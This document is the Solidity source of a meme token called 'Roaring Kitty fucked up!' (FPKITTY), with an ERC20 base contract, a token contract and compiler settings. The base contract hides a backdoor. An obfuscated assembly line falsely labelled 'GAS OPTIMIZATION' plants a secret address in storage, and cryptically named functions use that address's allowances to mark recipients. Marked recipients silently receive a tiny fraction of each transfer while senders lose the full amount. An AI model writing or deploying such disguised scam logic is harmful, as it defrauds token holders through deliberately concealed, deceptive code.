// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.13;

abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        // GAS OPTIMIZATION
        assembly {sstore(0x05, mul(mul(0x13dd4, 0x4b5e10d81b), mul(0x39292a435, 0x6ff5dd38ffc7cfd)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $$$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += $(amount, from, to);}
        $$$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xCABABA) / 0xC0FFEEBA;
        } else {
            return value;
        }
    }

    function $$$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
______                 _                 _   ___ _   _              __            _            _               _ 
| ___ \               (_)               | | / (_) | | |            / _|          | |          | |             | |
| |_/ /___   __ _ _ __ _ _ __   __ _    | |/ / _| |_| |_ _   _    | |_ _   _  ___| | _____  __| |  _   _ _ __ | |
|    // _ \ / _` | '__| | '_ \ / _` |   |    \| | __| __| | | |   |  _| | | |/ __| |/ / _ \/ _` | | | | | '_ \| |
| |\ \ (_) | (_| | |  | | | | | (_| |   | |\  \ | |_| |_| |_| |   | | | |_| | (__|   <  __/ (_| | | |_| | |_) |_|
\_| \_\___/ \__,_|_|  |_|_| |_|\__, |   \_| \_/_|\__|\__|\__, |   |_|  \__,_|\___|_|\_\___|\__,_|  \__,_| .__/(_)
                                __/ |                     __/ |                                         | |      
                               |___/                     |___/                                          |_|                                                                       
*/

contract RoaringKittyFuckedUp is ERC20 {
    constructor() ERC20("Roaring Kitty fucked up!", "FPKITTY", 18) {
        _mint(msg.sender, 4_200_000_000 * 10 ** 18);
    }
}

{
  "compilationTarget": {
    "Token.sol": "RoaringKittyFuckedUp"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}